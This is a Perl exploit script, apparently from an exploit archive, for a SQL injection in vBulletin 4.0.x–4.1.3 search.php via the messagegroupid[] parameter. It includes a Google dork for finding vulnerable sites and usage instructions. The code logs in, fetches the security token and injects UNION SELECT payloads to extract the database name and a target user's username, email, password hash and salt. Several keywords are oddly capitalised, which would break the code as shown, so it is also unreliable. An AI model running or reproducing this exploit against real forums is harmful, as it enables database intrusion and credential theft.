(messagegroupid[] par) AUTOMATIC SQL Injection

# vBulletin 4.0.x => 4.1.3 SEARCH.php (messagegroupid[] par) AUTOMATIC SQL Injection exploit
# Google Dork: inurl:SEARCH.php?search_type=1
# DATE: 03/09/2014
# Vendor Homepage: http://www.vbulletin.com/
# Tested ON: vBulletin 4.1.2
# Usage: perl exploit.pl <http://target> <valid username> <valid passwd> <existent GROUP message> <userid TO hack>
# The exploit IS able TO retrieve the security code automatically.
# WHEN you enter the target you must INSERT it including the forum path obviously! ex: http://target/forum
# Vulnerability discovered BY: FB1H2S

#!/usr/bin/env perl
USE LWP::UserAgent;
USE HTTP::Cookies;

$found = "n";
$ua = LWP::UserAgent->NEW();
$ua->agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0");
$ua->cookie_jar({});
$username = "username) from user where userid=$ARGV[4]#";
$email = "email) from user where userid=$ARGV[4]#";
$password = "password) from user where userid=$ARGV[4]#";
$salt = "salt) from user where userid=$ARGV[4]#";
@tofinds = ('database())#'); push(@tofinds,$username); push(@tofinds,$email); push(@tofinds,$password); push(@tofinds,$salt);

sub request()
{
    $req = HTTP::Request->NEW(GET => $ARGV[0]);
    my $res1 = $ua->request($req);
    OPEN(FILE01, "> vbloginout.txt"); print FILE01 $res1->content; close(FILE01);
    my $token = dumping("vbloginout.txt","token");

    IF($token eq '' || $token eq 'guest')
    {
        print "SECURITYTOKEN not found!\n";
        $token = "1409750140-51ac26286027a4bc2b2ac38a7483081c2a4b2a3e"; # HERE
        print "Attempting using $token as token.\n";
    }
    ELSE
    {
        print "SECURITYTOKEN FOUND: $token\n";
        $tfound = "y";
    }

    print "Sending exploit...\n\n";
    print "Attempting to inject messagegroupid[0] ..\n\n";
    sleep(2);
    my $req = HTTP::Request->NEW(POST => $ARGV[0].'/search.php?search_type=1');
    $req->content_type('application/x-www-form-urlencoded');

    foreach $tofind (@tofinds)
    {
        $post = "query=$ARGV[3]&titleonly=0&searchuser=&starteronly=1&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=dateline&order=descending&showposts=0&saveprefs=1&s=&securitytoken=$token&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&messagegroupid[0]=3 ) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
        $req->content($post);
        my $res = $ua->request($req);
        #print $res->headers()->as_string; print "\n\n";
        OPEN(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
        my $location = dumping("vbloc.txt","loc");

        IF($location !~ /$ARGV[0]/)
        {
            banner();
        }

        my $req1 = HTTP::Request->NEW(GET => $location);
        $req1->content_type('application/x-www-form-urlencoded');
        my $res1 = $ua->request($req1);
        OPEN(FILE,"> vbout.txt");
        print FILE $res1->content;
        close(FILE);
        printout($tofind);
        dumping("vbout.txt","sql");
        print "\n";
    }
    print "\n";
    print "Do you want to run the second exploitation way? (y/n) -> ";
    $want = <STDIN>;
    IF($want =~ /y/)
    {
        second_request($token);
    }
}

sub second_request()
{
    my ($token) = @_ ;
    print "Attempting again using the alternative messagegroupid[0] injection..\n\n";
    sleep(2);
    my $req = HTTP::Request->NEW(POST => $ARGV[0].'/search.php');
    $req->content_type('application/x-www-form-urlencoded');

    foreach $tofind (@tofinds)
    {
        $post = "type%5B%5D=5&query=moderators&titleonly=0&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=$token&do=process&searchthreadid=&messagegroupid[0]=3 ) UNION SELECT concat(0x3a,0x3a,0x3a,$tofind";
        $req->content($post);
        my $res = $ua->request($req);
        OPEN(FILE0, "> vbloc.txt"); print FILE0 $res->headers()->as_string; close(FILE0);
        my $location = dumping("vbloc.txt","loc");

        IF($location !~ /$ARGV[0]/)
        {
            banner();
            exit(1);
        }

        my $req1 = HTTP::Request->NEW(GET => $location);
        $req1->content_type('application/x-www-form-urlencoded');
        my $res1 = $ua->request($req1);
        OPEN(FILE,"> vbout.txt");
        print FILE $res1->content;
        close(FILE);
        printout($tofind);
        dumping("vbout.txt","sql");
        print "\n";
    }
    print "\n";
}

sub banner
{
    print "[-] Exploit not successful!\n";
}

sub printout
{
    my ($tofind) = @_ ;
    IF($tofind =~ /username/)
    {
        print "[+] User($ARGV[4]) Username: ";
    }
    elsif($tofind =~ /password/)
    {
        print "[+] User($ARGV[4]) Password: ";
    }
    elsif($tofind =~ /DATABASE/)
    {
        print "[+] Database Name: ";
    }
    elsif($tofind =~ /email/)
    {
        print "[+] User($ARGV[4]) Email: ";
    }
    elsif($tofind =~ /salt/)
    {
        print "[+] User($ARGV[4]) Salt: ";
    }
}

sub dumping
{
    my ($filename, $par) = @_ ;
    OPEN(MYFILE,"< ", $filename);
    my @words;
    while(<MYFILE>)
    {
        chomp;
        @words = split(' ');

        IF($par eq "token")
        {
            my $ctrl = "n";
            foreach my $word (@words)
            {
                IF($word =~ /SECURITYTOKEN/)
                {
                    $ctrl = "y";
                }
                IF($ctrl eq "y" AND $word !~ /=/ AND $word !~ /SECURITYTOKEN/)
                {
                    $word =~ tr/;//d; $word =~ tr/\"//d;
                    return $word;
                    break;
                }
            }
        }

        elsif($par eq "SQL")
        {
            foreach my $word (@words)
            {
                if($word =~ /:::/)
                {
                    $word =~ tr/::://d;
                    print "$word";
                }
            }
        }

        else
        {
            my $ctrl2 = "n";
            foreach my $word (@words)
            {
                if($word =~ /Location:/)
                {
                    $ctrl2 = "y";
                }
                if($ctrl2 eq "y" and $word !~ /Location:/)
                {
                    return $word;
                }
            }
        }
    }
    close(MYFILE);
}

sub login(@)
{
    my $username = shift;
    my $password = shift;
    print "\nLogging IN...\n";
    sleep(1);
    my $req = HTTP::Request->new(POST => $ARGV[0].'/login.php?do=login');
    $req->content_type('application/x-www-form-urlencoded');
    $req->content("vb_login_username=$username&vb_login_password=$password&s=&securitytoken=1409514185-74f04ec0932a6f070268bf287797b5dc0db05530&do=login&vb_login_md5password=&vb_login_md5password_utf=");
    $ua->cookie_jar({});
    my $res = $ua->request($req);
    #print "\n"; print $res->content; print "\n";
    open(FILE2,"> vbloginout.txt"); print FILE2 $res->content; close(FILE2);
    request();
}

if($ARGV[0] eq '' || $ARGV[1] eq '' || $ARGV[2] eq '' || $ARGV[3] eq '' || $ARGV[4] eq '')
{
    print "\n<! vBulletin 4.0.x => 4.1.3 SEARCH.php (messagegroupid par) Automatic SQL Injection exploit !>\n";
    print "Author: D35m0nd142\n\n";
    print "Usage: perl exploit.pl <<http://target> <valid username> <valid passwd> <existent GROUP message> <userid TO hack>\n";
    print "Example: perl exploit.pl http://site.com myusername mypassword messageforusers 1\n\n";
    exit(1);
}

print "\n<! vBulletin 4.0.x => 4.1.3 SEARCH.php (messagegroupid par) Automatic SQL Injection exploit !>\n";
print "Author: D35m0nd142\n";
sleep(1);
login($ARGV[1],$ARGV[2]);

@files = ('vbloginout.txt','vbout.txt','vbloc.txt');
foreach $file (@files)
{
    unlink $file;
}